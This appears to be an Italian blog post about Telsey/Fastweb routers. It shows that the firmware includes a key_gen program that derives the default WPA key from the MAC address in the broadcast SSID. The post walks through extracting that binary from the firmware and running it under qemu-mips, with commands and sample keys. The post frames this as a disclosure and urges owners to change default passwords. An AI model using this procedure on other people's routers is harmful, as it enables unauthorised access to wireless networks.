I router Telsey/Fastweb vittime e strumenti per il crack del wireless

Nota importante: le informazioni qui fornite servono solo a spiegare la vulnerabilità del router e come porvi rimedio. Si ricorda che qualunque azione volta all’aggiramento dei sistemi di protezione informatica costituisce reato penale nel nostro paese.

Ho iniziato ad interessarmi a questi router dopo l’interessante articolo di Righi apparso sul suo blog pillolhacking; la sua analisi per trovare l’algoritmo di generazione della chiave WPA è sicuramente affascinante e notevole perchè sviluppata a partire da un solo router; purtroppo, però, le conclusioni non sono valide nella generalità dei casi.

Partendo da quel post e dai numerosi commenti sono arrivato ad altri forum dove, in mezzo a tantissimo rumore, ho trovato qualche frammento di informazione che mi ha aiutato a capire la grave vulnerabilità di tale router.

Il router è basato sul popolare chip Broadcom BCM6358 che include un transceiver ADSL2+, una CPU VIPER MIPS32, interfacce ethernet, USB 2.0, PCMCIA e mini-PCI; il software è basato su linux, ma il rouer è “blindato”, ossia non è permesso all’utente accedervi via telnet/ssh o in altro modo.

Qualcuno però è riuscito lo stesso ad accedervi e/o a catturare il firmware del router (probabilmente intercettando un aggiornamento) che risulta essere disponibile su Internet (non sul sito ufficale Telsey, per cui probabilmente in modo non del tutto legale). Chi è riuscito ad accedere al router ha avuto la gradita sorpresa di trovare, nella directory, /bin un comando dal nome key_gen che, lanciandolo, produce il seguente risultato:

# key_gen             
usage: key_gen 
The following MAC formats are supported:
xx.xx.xx.xx.xx.xx
xx:xx:xx:xx:xx:xx
xx;xx;xx;xx;xx;xx
xxxxxxxxxxxx

Se, invece, prendiamo la SSID del router di Righi FASTWEB-1-00036F8E42BC, il corrispondente Mac address è 00036F8E42BC (gli ultimi 12 caratteri esadecimali dell’SSID), se diamo tale indirizzo in pasto al programma key_gen otteniamo:

# key_gen 00036F8E42BC
7fcee0998a

che è esattamente la chiave WPA di default. Se ripetiamo la stessa procedura per un’altra SSID pubblicata sul sito di Righi (FASTWEB-1-00219623EB84) otteniamo:

# key_gen 00219623EB84
5b887cb8f5

ed anche in questo caso è esattamente la chiave di default del router, come riportato dal proprietario su un commento sul blog di Righi.

Questa non è esattamente una vulnerabilità del router Telsey/Fastweb, ma è un programma di cracking incluso su ciascun router e che permette di crackare qualunque altro router della stessa serie conoscendo solo l’SSID che è l’informazione pubblica per eccellenza che il router diffonde continuamente!

Ogni commento sulla “sicurezza” di tali router e sulla “ingenuità” di chi li ha progettati è superfluo.

Se non si è in grado di accedere al proprio router, ma si vuole verificare lo stesso se esso è “vulnerabile” si può procedere nel modo seguente su un sistema Linux (dovrebbe essere possibile operare anche su un sistema Windows o Mac, ma io non l’ho fatto ed è sicuramente un pò più complicato):

1. procurarsi il firmware del proprio router che sarà un file con un nome del tipo CPVA642_SIP_fk_sip_3.6.4V, oppure CPVA642_SIP_fk_sip_3.6.rar, in questo ultimo caso va decompresso
2. tale file ha un formato particolare ed è stato creato con dei tool per i chip Broadcom, il modo più veloce per scompattarlo è quello di usare tali tool scaricando il sorgente dei bcm_tools
3. compilare tali tools, su una macchina linux a 32bit (con architetture a 64bit ho avuto qualche problema con la decompressione del file system), in un modo simile al seguente:

   $ tar -zxvf bcm_tools-0.1.0.tar.gz 
   $ cd bcm_tools-0.1.0
   $ make
   $ su                # oppure "sudo -s" per Ubuntu e simili
   #  # installare i file di libreria per lzma
   #  cp ./bcm_lzma/lib/libbcmlzma_cmp.so  /lib
   #  cp ./bcm_lzma/lib/libbcmlzma_dcmp.so /lib
   # exit
   

4. per estrarre le varie componenti incluse nel firmware scaricato procedere nel modo seguente, nell’ipotesi che il file CPVA642_SIP_fk_sip_3.6.4V si trovi nella stessa directory bcm_tools-0.1.0

   $  ./bcm_fw_extract -a -v CPVA642_SIP_fk_sip_3.6.4V 
   ## WARNING: RK CRC is incorrect, should be 0x2afa0e5c
   [0x00] Header version: 6
   [0x04] Vendor signature (1): 
           54 65 6c 73 65 79 20 54 6c 63 00 00 00 00 00 00 
           00 00 00 00 
   [0x18] Vendor signature (2): 
           33 2e 36 2e 34 56 2d 73 69 70 00 00 00 00 
   [0x26] Chip Id.: 
           36 33 35 38 00 00 
   [0x2c] Board Id.: CPVA642
   [0x3c] Big endian ?: 1
   [0x3e] Total img size: 0x0042a280
   [0x48] CFE address: 0x00000000
   [0x54] CFE size: 0x00000000
   [0x5e] Root FS address: 0xbfc10100
   [0x6a] Root FS size: 0x0036f000
   [0x74] Kernel address: 0xbff7f100
   [0x80] Kernel size: 0x000bb280
   [0x8a] Dual img ?: 1
   [0x8c] Inactive img ?: 0
   [0x8e] Reserved: 
           00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
           00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
           00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
           00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
           00 00 00 00 00 00 00 00 00 00 
           - RK checksum (0x36): 0x00000000
   [0xd8] Header checksum: 0x5a243917
   [0xec] Image checksum: 0x2afa0e5c
   Dumping Broadcom header... (offset 0x00000000, sz 0x00000100, crc 0x3530589b) done.
   No bootloader found in image. Skipping.
   Dumping root filesystem... (offset 0x00000100, sz 0x0036f000, crc 0x73387d37) done.
   Dumping kernel... (offset 0x0036f100, sz 0x000bb280, crc 0x285c26f2) done. 
   

   il warning sull’RK CRC lo possiamo ignorare

5. il comando precedente estrae i seguenti files:

   header.bin         # header non  interessa
   vmlinux.img        # kernel linux
   rootfs.bin         # l'immagine del file system
   

6. per estrarre i file contenuti nell’immagine del file system del router è necessario dare, meglio da root (perchè crea dei device nella sottodirectory dev) il seguente comando:

   $ su
   # ./lzma_unsquash rootfs.bin 
   Reading a different endian SQUASHFS filesystem on rootfs.bin
   # exit
   

7. le cose interessanti si trovano sotto la directory squashfs-root, in particolare lì troviamo il file squashfs-root/bin/key_gen che però non possiamo direttamente utilizzare sul nostro sistema linux (basato su chip Intel/AMD) perchè è un file compilato per architettura MIPS come ci mostra il seguente comando:

   $ file squashfs-root/bin/key_gen 
   squashfs-root/bin/key_gen: ELF 32-bit MSB executable,
   MIPS, version 1 (SYSV), dynamically linked (uses shared libs),
   corrupted section header size
   

   possiamo ignorare il “corrupted section header size”. Adesso abbiamo il nostro bell’eseguibile per generare le chiavi WPA di default dei router Telsey/Fastweb, l’unico piccolo problema è che l’eseguibile gira solo su macchine linux con cpu MIPS e non sulla nostra macchina

8. per fortuna che esiste un ottimo emulatore, qemu, per emulare macchine con cpu MIPS, pertanto dobbiamo installare qemu sul nostro linux, qualora non fosse già installato, con dei comandi simili ai seguenti su sistemi RedHat/CentOS; su Ubuntu i comandi sono indicati nei commenti:

   $ su -    # su Ubuntu: sudo -s
   # yum install qemu qemu-system-mips
   # #--- su Ubuntu:
   # # apt-get install qemu qemu-common qemu-kvm qemu-kvm-extras
   # exit     
   

   ossia è necessario installare i pacchetti che contengono il comando qemu ed i comandi qemu-mips e qemu-system-mips: quest’ultimi due non sono compresi nel pacchetto standard, ma si tovano in pacchetti aggiuntivi per emulare altri processori.

9. una volta installato qemu per cpu MIPS possiamo lanciare il nostro key_gen come nell’esempio seguente:

   $ cd squashfs-root/
   $ qemu-mips -L . bin/key_gen 
   usage: bin/key_gen 
   The following MAC formats are supported:
   xx.xx.xx.xx.xx.xx
   xx:xx:xx:xx:xx:xx
   xx;xx;xx;xx;xx;xx
   xxxxxxxxxxxx
   

   è importante mettersi dentro la directory suqashfs-root, ossia nella root del file system del router, ed usare l’opzione “-L .” che dice a qemu-mips di cercare le librerie che key_gen vorrà caricare a partire da tale directory. Se vogliamo generare la chiave di default del router di Righi (SSID: FASTWEB-1-00036F8E42BC) non dobbiamo far altro che dare il seguente comando:

   $ qemu-mips -L . bin/key_gen 00036F8E42BC
   7fcee0998a
   

   e di nuovo il risultato è quello giusto.

In questo post abbiamo visto come estrarre il programma di crack delle chiavi di default dei router Telsey/Fastweb, incluso nel firmware degli stessi router, e come eseguire tale programme su un normale sistema Linux, emulando l’ambiente basato su cpu MIPS del router.

La forte raccomandazione a tutti i possessori di tali router è quella di cambiare immediatamente la password di default.
Su un successivo post descriverò come metter su un ambiente di debugging per eseguire passo passo il programma key_gen e, possibilmente, ricavare l’algoritmo di generazione delle chiavi WPA di default.